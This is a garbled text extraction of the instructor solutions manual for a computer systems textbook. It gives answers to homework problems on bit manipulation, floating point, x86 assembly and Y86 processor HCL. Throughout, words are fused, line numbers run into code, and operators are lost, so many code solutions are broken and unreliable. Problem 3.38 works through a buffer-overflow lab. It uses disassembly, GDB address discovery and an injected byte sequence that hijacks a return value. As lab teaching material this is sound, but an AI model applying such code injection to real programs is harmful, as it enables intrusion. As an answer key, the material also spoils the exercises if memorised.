深入理解计算机系统答案超高清电子版

1、Computer Systems: A Programmer sPerspectiveInstructorSolutions Manual 1Randal E. BryantDavid R. O HallaronDecember 4, 20031Copyrightc 2003, R. E. Bryant, D. R. O Hallaron.All rights reserved.2Chapter 1Solutions to Homework ProblemsThe text usestwo different kinds of exercises:Practice Problems. Thes

2、eare problems that are incorporated directly into the text, with explanatory solutions at the end of eachchapter. Our intention is that studentswill work on theseproblems asthey read the book. Each one highlights some particular concept.Homework Problems. These are found at the end of each chapter.

3、They vary in complexity from simple drills to multi-week labs and are designed for instructors to give as assignmentsor to use as recitation examples.This document gives the solutions to the homework problems.1.1Chapter 1: A Tour of Computer Systems1.2Chapter 2: Representing and ManipulatingInformat

4、ionProblem 2.40 Solution:This exerciseshould be a straightforward variation on the existing code.2CHAPTER 1. SOLUTIONS TO HOMEWORK PROBLEMS1011void show_double(doublex)13show_bytes(byte_pointer)&x,sizeof(double);code/data/show-ans.c1intis_little_endian(void)3/*MSB= 0, LSB=1*/4intx =1;56/*ReturnMSB w

5、henbig-endian,LSB when little-endian*/7return(int)(*(char*) &x);1.2. CHAPTER 2: REPRESENTING AND MANIPULATING INFORMATION3There are many solutions to this problem, but it is a little bit tricky to write one that works for any word size. Here is our solution:code/data/shift-ans.cThe above code peform

6、s a right shift of a word in which all bits are set to 1. If the shift is arithmetic, the resulting word will still have all bits setto 1.Problem 2.45 Solution:This problem illustrates some of the challengesof writing portable code. The fact that 132 yields 0 on some32-bit machines and 1 on others i

7、s common sourceof bugs.A. The C standarddoes not de?ne the effect of a shift by 32 of a 32-bit datum. On the SPARC (andmany other machines), the expressionxk shifts by, i.e., it ignores all but the leastsigni?cant 5 bits of the shift amount. Thus, the expression132 yields 1.B. Compute beyond_msbas 2

8、 31 .C. We cannot shift desired effect. set_msb by more than 15 bits at a time, Thus, we can compute set_msb 1 .but we can compose multiple shifts to get the as 2 15 15 , and beyond_msb asProblem 2.46 Solution:This problem highlights the difference betweenzero extensionand sign extension. It also pr

9、ovides an excuse to show an interesting trick that compilers often useto use shifting to perform masking and sign extension.A.The function doesnot perform any sign extension. For example, if we attempt to extract byte 0 from word 0 xFF , we will get 255, rather than .B.The following code usesa well-

10、known trick for using shifts to isolate a particular range of bits and to perform sign extension at the sametime. First, we perform a left shift so that the most signi?cant bit of the desired byte is at bit position 31. Then we right shift by 24, moving the byte into the proper position and peformin

11、g sign extension at the sametime.4CHAPTER 1. SOLUTIONS TO HOMEWORK PROBLEMS3int left=word (3-bytenum)24;Problem 2.48 Solution:This problem lets studentsrework the proof that complement plus increment performs negation.We make use of the property that two scomplement addition is associative, commutat

12、ive, and hasadditiveinverses. Using C notation, if we de?ne y to be x-1 , then we have?y+1 equal to -y , and hence ?y equals -y+1 . Substituting gives the expression -(x-1)+1 , which equals -x .Problem 2.49 Solution:This problem requires a fairly deep understanding of two scomplement arithmetic. Som

13、e machines onlyprovide one form of multiplication,and hencethe trick shown in thecode hereis actually required to performthat actual form.As seenin Equation 2.16 we have. The ?nal termhas no effect on the-bit representationof, but the middle term representsa correction factor thatmust be addedto the

14、 high orderbits. This is implemented as follows:code/data/uhp-ans.cProblem 2.50 Solution:Patternsof the kind shown here frequently appearin compiled code.1.2. CHAPTER 2: REPRESENTING AND MANIPULATING INFORMATION5: x + (x 2)B.: x + (x 3)C.: (x4)-(x1)D.: (x3)-(x6)Problem 2.51 Solution:Bit patterns sim

15、ilar to thesearise in many applications. Many programmers provide them directly in hex-adecimal, but it would be better if they could expressthem in more abstract ways.A.?(1k)-1)B.(1k)-1)k;5/*Makemaskofloworder32-k bits*/6unsignedmask=k ?(1k;5/*Makemaskofhighorderk bits*/6unsignedmask=k? ?(1(32-k)-1

16、):0;78return(x31;unsignedsy=uy31;return(ux1=0 &uy=0,y=uy)|/*x=0,y=0*/(sx&sy&ux=uy);/*x0,y0*/,8CHAPTER 1. SOLUTIONS TO HOMEWORK PROBLEMSThis exercise is of practical value, since Intel-compatible processorsperform all of their arithmetic in ex-tended precision. It is interesting to see how adding a f

17、ew more bits to the exponent greatly increasesthe range of valuesthat can be represented.DescriptionExtended precisionValueSmallest denorm.Largestnorm.Problem 2.59 Solution:We have found that working through ?oating point representationsfor small word sizesis very instructive.Problems such as this o

18、ne help make the description of IEEE ?oating point more concrete.Description8000Smallest value4700Largest denormalizedcode/data/fpwr2-ans.c1.3. CHAPTER 3: MACHINELEVEL REPRESENTATION OF C PROGRAMS9/*float345678910111213141516171819202122232425Compute2*x*/fpwr2(intx)unsignedexp,sig;unsignedu;if(x -14

19、9)/*Toosmall.Return0.0 */exp=0;sig=0;elseif(x-126)/*Denormalizedresult*/exp=0;sig=1(x +149);elseif(x128)/*Normalizedresult.*/exp=x+127;sig=0;else/*Toobig.Return+oo */exp=255;sig=0;u= exp23|sig;returnu2f(u);10CHAPTER 1. SOLUTIONS TO HOMEWORK PROBLEMSint decode2(intx,inty,int z)intt1=y-z;intt2=x*t1;in

20、tt3=(t131;intt4=t3? t2;returnt4;Problem 3.32 Solution:This codeexample demonstratesone of the pedagogicalchallengesof using a compiler to generateassembly code examples. Seemingly insigni?cant changesin the C code can yield very different results. Of course, students will have to contend with this p

21、roperty as work with machine-generatedassembly code anyhow. They will need to be able to decipher many different codepatterns. This problem encouragesthem to think in abstract terms aboutone such pattern.The following is an annotatedversion of the assemblycode:movl 8(%ebp),%edxmovl 12(%ebp),%ecxmovl

22、 %edx,%eax4subl%ecx,%eaxcmpl %ecx,%edx6jge.L3movl %ecx,%eaxsubl %edx,%eax.L3:xyresult=x-yComparex:yif =gotodone:result=y-xdone:A. When, it will compute ?rstand then. Whenit just computes.The code for then-statement gets executed unconditionally. It then jumps over the code for else-statementif the t

23、est is false.C.then-statementt= test-expr;if(t)gotodone;else-statementdone:The code in then-statementmust not haveany side effects, other than to setvariables that are also set in else-statement.1.3. CHAPTER 3: MACHINE LEVEL REPRESENTATION OF C PROGRAMS11Problem 3.33 Solution:This problem requires s

24、tudentsto reasonabout the code fragments that implement the different branchesof a switch statement.For this code, it also requires understandingdifferent forms of pointer dereferencing.A.In line 29, register %edx is copied to register %eax as the return value. From this, we can infer that %edx hold

25、s result .B. The original C code for the function is as follows:1/*Enumeratedtype createssetof constantsnumbered0 and upward */2typedefenumMODE_A,MODE_B,MODE_C,MODE_D, MODE_Emode_t;34intswitch3(int*p1,int*p2,mode_taction)6intresult= 0;7switch(action)case MODE_A:9result=*p1;*p1 = *p2;break;case MODE_

26、B:*p2 += *p1;14result=*p2;break;case MODE_C:*p2 = 15;18result=*p1;break;case MODE_D:*p2 = *p1;22/*FallThrough*/case MODE_E:24result=17;break;default:27result=-1;29returnresult;Problem 3.34 Solution:This problem gives students practice analyzing disassembled code. The switch statement contains all th

27、e features one can imagine caseswith multiple labels, holes in the range of possible casevalues, and cases that fall through.12CHAPTER 1. SOLUTIONS TO HOMEWORK PROBLEMSint34567891011121314151617181920212223int3456789101112131415switch_prob(intx)intresult= x;switch(x)case50:case52:result=2;break;case

28、54:result*=3;/*Fallthrough*/case55:result*=result;/*Fallthrough*/default:result+=10;returnresult;code/asm/varprod-ans.cvar_prod_ele_opt(var_matrixA, var_matrixB, inti,intk, intn)int*Aptr=&Ai*n;int*Bptr=&Bk;intresult=0;intcnt= n;if(n =0)returnresult;doresult+= (*Aptr)* (*Bptr);Aptr+=1;Bptr+=n;cnt-;1.

29、3. CHAPTER 3: MACHINELEVEL REPRESENTATION OF C PROGRAMS131617while(cnt);18returnresult;code/asm/structprob-ans.c1typedefstruct2intidx;3intx4;4 a_struct;14CHAPTER 1. SOLUTIONS TO HOMEWORK PROBLEMS1/*Readinputlineandwriteitback*/2/*Codewillworkforany buffersize.Biggeris more time-efficient*/3#defineBU

30、FSIZE 644voidgood_echo()6charbufBUFSIZE;7inti;8while(1) 9if(!fgets(buf,BUFSIZE,stdin)10return;/*Endoffileorerror*/11/*Printcharactersinbuffer*/12for(i= 0;bufi& bufi!= n ;i+)13if(putchar(bufi)=EOF)14return;/*Error*/15if(bufi= n )16/*Reachedterminatingnewline*/17putchar( n );18return;19An alternative

31、implementation is to use getcharto readthe charactersone at a time.Problem 3.38 Solution:Successfully mounting a buffer over?ow attack requires understanding many aspectsof machine-level pro-grams. It is quite intriguing that by supplying a string to one function, we can alter the behavior of anothe

32、r function that should always return a ?xed value. In assigning this problem, you should also give studentsa stern lectureabout ethical computing practicesand dispell any notion that hacking into systemsis a desirable or evenacceptablething to do.Our solution startsby disassemblingbufbomb, giving th

33、e following code for getbuf :1080484f4:280484f4:55push%ebp380484f5:89e5mov%esp,%ebp480484f7:83ec18sub$0 x18,%esp580484fa:83c4f4add$0 xfffffff4,%esp680484fd:8d45f4lea0 xfffffff4(%ebp),%eax78048500:50push%eax88048501:e86affffffcall8048470 98048506:b801000000mov$0 x1,%eax10804850b:89ecmov%ebp,%esp11804

34、850d:5dpop%ebp12804850e:c3ret13804850f:90nopWe can seeon line 6 that the addressof buf is 12 bytes below the savedvalue of %ebp, which is 4 bytes below the return address. Our strategy then is to push a string that contains 12 bytes of code, the savedvalue1.3. CHAPTER 3: MACHINE LEVEL REPRESENTATION

35、 OF C PROGRAMS15of %ebp, and the addressof the startof the buffer. To determine the relevant values,we run GDB asfollows:1. First, we seta breakpoint in getbufand run the program to that point:(gdb)breakgetbuf(gdb)runComparing the stopping point to the disassembly,we seethat it has already set up th

36、e stack frame.2. We get the value of bufby computing a value relative to %ebp :(gdb)print/x(%ebp+12)This gives0 xbfffefbc.3. We ?nd the savedvalue of register %ebp by dereferencing the current value of this register:(gdb)print/x*$ebpThis gives0 xbfffefe8.4. We ?nd the value of the return pointer on

37、the stack, at offset 4 relative to %ebp:(gdb)print/x*(int*)$ebp+1)This gives0 x8048528We can now put this information together to generateassembly code for our attack:1pushl$ 0 x8048528Put correctreturnpointerback on stack2movl$0 xdeadbeef,%eaxAlterreturnvalue3retRe-executereturn4.align4Roundup to12

38、5.long0 xbfffefe8Savedvalueof %ebp6.long0 xbfffefbcLocationofbuf7.long0 x00000000PaddingNote that we have used the .alignstatementto get the assemblerto insert enough extra bytes to use uptwelve bytes for the code. We added an extra 4 bytes of 0s at the end, becausein some casesOBJDUMP would not gen

39、eratethe complete byte pattern for the data. These extra bytes (plus the termininating null byte) will over?ow into the stack frame for test , but they will not affect the program behavior.Assembling this code and disassemblingthe object code gives us the following:123456780:6828850408push$0 x804852

40、85:b8efbeaddemov$0 xdeadbeef,%eaxa:c3retb:90nopByte insertedforalignment.c:e8efffbfbccall0 xbcc00000Invaliddisassembly.11:efout%eax,(%dx)Tryingto diassemble12:ff(bad)data13:bf00000000mov$0 x0,%edi16CHAPTER 1. SOLUTIONS TO HOMEWORK PROBLEMSFrom this we can read off the byte sequence:6828850408b8efbea

41、ddec390e8efffbfbcefffbf00000000Problem 3.39 Solution:This problem is a variant on the asm examples in the text. The code is actually fairly simple. It relies on the fact that asm outputs can be arbitrary lvalues, and hencewe can use dest0 and dest1 directly in the output list.code/asm/asmprobs-ans.c

42、Problem 3.40 Solution:For this example, students essentially have to write the entire function in assembly. There is no (apparent) way to interface between the ?oating point registersand the C code using extendedasm.code/asm/fscale.c1.4. CHAPTER 4: PROCESSORARCHITECTURE171.4Chapter 4: Processor Arch

43、itectureProblem 4.32 Solution:This problem makesstudents carefully examine the tables showing the computation stagesfor the different instructions. The stepsfor iaddl are a hybrid of those for irmovl and OPl .StageFetchrA : rBMPCvalPPCExecuteR rBvalEPC updateleaveicode : ifunMPCDecodevalBRvalEvalBMe

44、moryWritebackRvalMPCvalPProblem 4.34 Solution:The following HCL code includes implementations of both the iaddl instruction and the leave instruc-tions. The implementations are fairly straightforward given the computation stepslisted in the solutions to problems 4.32 and 4.33. You can test the solut

45、ions using the test code in the ptest subdirectory. Make sure you use command line argument -i . 18CHAPTER 1. SOLUTIONS TO HOMEWORK PROBLEMS#2#HCL DescriptionofControlforSingleCycle Y86 ProcessorSEQ#3#Copyright(C)RandalE.Bryant,DavidR. O Hallaron,2002#56#Thisisthesolutionfortheiaddlandleaveproblems7

46、#9#C Include s.Dont alterthese#1112quote #include13quote #includeisa.h14quote #includesim.h15quote intsim_main(intargc,char *argv);16quote intgen_pc()return0;17quote intmain(intargc,char*argv) 18quote plusmode=0;returnsim_main(argc,argv);19#21#Declarations.Donotchange/remove/deleteanyofthese#2324#Sy

47、mbolicrepresentationofY86InstructionCodes#25intsigINOP I_NOP26intsigIHALT I_HALT27intsigIRRMOVL I_RRMOVL28intsigIIRMOVL I_IRMOVL29intsigIRMMOVL I_RMMOVL30intsigIMRMOVL I_MRMOVL31intsigIOPL I_ALU32intsigIJXX I_JMP33intsigICALL I_CALL34intsigIRET I_RET35intsigIPUSHL I_PUSHL36intsigIPOPL I_POPL37# Inst

48、ructioncodeforiaddlinstruction38intsigIIADDL I_IADDL 39# Instructioncodeforleaveinstruction40intsigILEAVE I_LEAVE4142#SymbolicrepresentationofY86Registersreferencedexplicitly#43intsigRESP REG_ESP#StackPointer44intsigREBP REG_EBP#FramePointer45intsigRNONE REG_NONE#Specialvalueindicatingno register464

49、7#ALU Functionsreferencedexplicitly#48intsigALUADD A_ADD#ALUshouldadd itsarguments4950#Signalsthatcanbe referencedbycontrollogic#1.4. CHAPTER 4: PROCESSORARCHITECTURE195152#Fetchstageinputs#53intsigpc pc#Programcounter54#Fetchstagecomputations#55intsigicode icode #Instructioncontrolcode56intsigifun

50、ifun#Instructionfunction57intsigrA ra #rAfieldfrominstruction58intsigrB rb #rBfieldfrominstruction59intsigvalC valc#Constantfrominstruction60intsigvalP valp #Addressoffollowinginstruction6162#Decodestagecomputations#63intsigvalA vala #ValuefromregisterAport64intsigvalB valb #ValuefromregisterBport65

51、66#Executestagecomputations#67intsigvalE vale #ValuecomputedbyALU68boolsigBch bcond #Branchtest6970#Memorystagecomputations#71intsigvalM valm #Valuereadfrommemory7273#75#ControlSignalDefinitions.#7778#FetchStage#7980# Doesfetchedinstructionrequirearegidbyte?81boolneed_regids=82icodeinIRRMOVL,IOPL,IP

52、USHL,IPOPL,83IIADDL,84IIRMOVL,IRMMOVL,IMRMOVL;8586# Doesfetchedinstructionrequireaconstantword?87boolneed_valC=88icodeinIIRMOVL,IRMMOVL,IMRMOVL,IJXX,ICALL,IIADDL ;8990boolinstr_valid=icodein91INOP,IHALT,IRRMOVL,IIRMOVL,IRMMOVL,IMRMOVL,92IIADDL,ILEAVE,93IOPL,IJXX,ICALL,IRET,IPUSHL,IPOPL;9495#DecodeSt

53、age#9697#Whatregistershouldbeusedas theAsource?98intsrcA=99icodeinIRRMOVL,IRMMOVL,IOPL,IPUSHL: rA;100icodeinILEAVE :REBP;20CHAPTER 1. SOLUTIONS TO HOMEWORK PROBLEMS101102;104105#What106intsrcB107108109110111;113114#What115intdstE116117118119120;122123#What124intdstM125126127;129icodeinIPOPL,IRET:RES

54、P;1:RNONE;# Dont needregisterregistershouldbe usedas the Bsource?=icodeinIOPL,IRMMOVL,IMRMOVL:rB;icodeinIIADDL:rB;icodeinIPUSHL,IPOPL,ICALL,IRET: RESP;icodeinILEAVE:REBP;1 :RNONE;#Dont needregisterregistershouldbeusedasthe Edestination?=icodeinIRRMOVL,IIRMOVL,IOPL:rB;icodeinIIADDL:rB;icodeinIPUSHL,I

55、POPL,ICALL,IRET : RESP;icodeinILEAVE:RESP;1 :RNONE;#Dont needregisterregistershouldbeused astheM destination?=icodeinIMRMOVL,IPOPL:rA;icodeinILEAVE : REBP;1 :RNONE;#Dont needregister130#ExecuteStage#131132#SelectinputAto ALU133intaluA= 134icodeinIRRMOVL,IOPL:valA;135icodeinIIRMOVL,IRMMOVL,IMRMOVL :

56、valC;136icodeinIIADDL:valC;137icodeinICALL,IPUSHL:-4;138icodeinIRET,IPOPL:4;139icodeinILEAVE:4;140#Otherinstructionsdont need ALU;142143#SelectinputBto ALU144intaluB= 145icodeinIRMMOVL,IMRMOVL,IOPL,ICALL,146IPUSHL, IRET,IPOPL : valB;147icodeinIIADDL,ILEAVE :valB;148icodeinIRRMOVL,IIRMOVL:0;149# Othe

57、rinstructionsdont needALU;1.4. CHAPTER 4: PROCESSORARCHITECTURE21151152#Set theALU function153intalufun=154icode= IOPL : ifun;1551 :ALUADD;157158#Shouldtheconditioncodesbeupdated?159boolset_cc=icodeinIOPL,IIADDL;160161#MemoryStage#162163#Setreadcontrolsignal164boolmem_read=icodeinIMRMOVL,IPOPL,IRET,

58、 ILEAVE;165166#Setwritecontrolsignal167boolmem_write=icodeinIRMMOVL,IPUSHL,ICALL;168169#Selectmemoryaddress170intmem_addr= 171icodeinIRMMOVL,IPUSHL,ICALL,IMRMOVL :valE;172icodeinIPOPL,IRET: valA;173icodein ILEAVE : valA;174#Otherinstructionsdont need address;176177#Selectmemoryinputdata178intmem_dat

59、a =179#Valuefromregister180icodeinIRMMOVL, IPUSHL : valA;181#ReturnPC182icode=ICALL: valP;183#Default:Dont writeanything;185186#ProgramCounterUpdate#187188#What addressshouldinstructionbefetchedat189190intnew_pc=191#Call.Useinstructionconstant192icode=ICALL:valC;193#Takenbranch.Useinstructionconstan

60、t194icode=IJXX&Bch:valC;195#CompletionofRETinstruction.Usevalue from stack196icode=IRET:valM;197#Default:UseincrementedPC1981:valP;22CHAPTER 1. SOLUTIONS TO HOMEWORK PROBLEMSGen./use 1WMEGenerateDUseMispredictGen./use 2WM GenerateEDUseGen./use 3GenerateMEDUseMEJXXDret 1ret 2ret3MMMretEEretEbubbleDre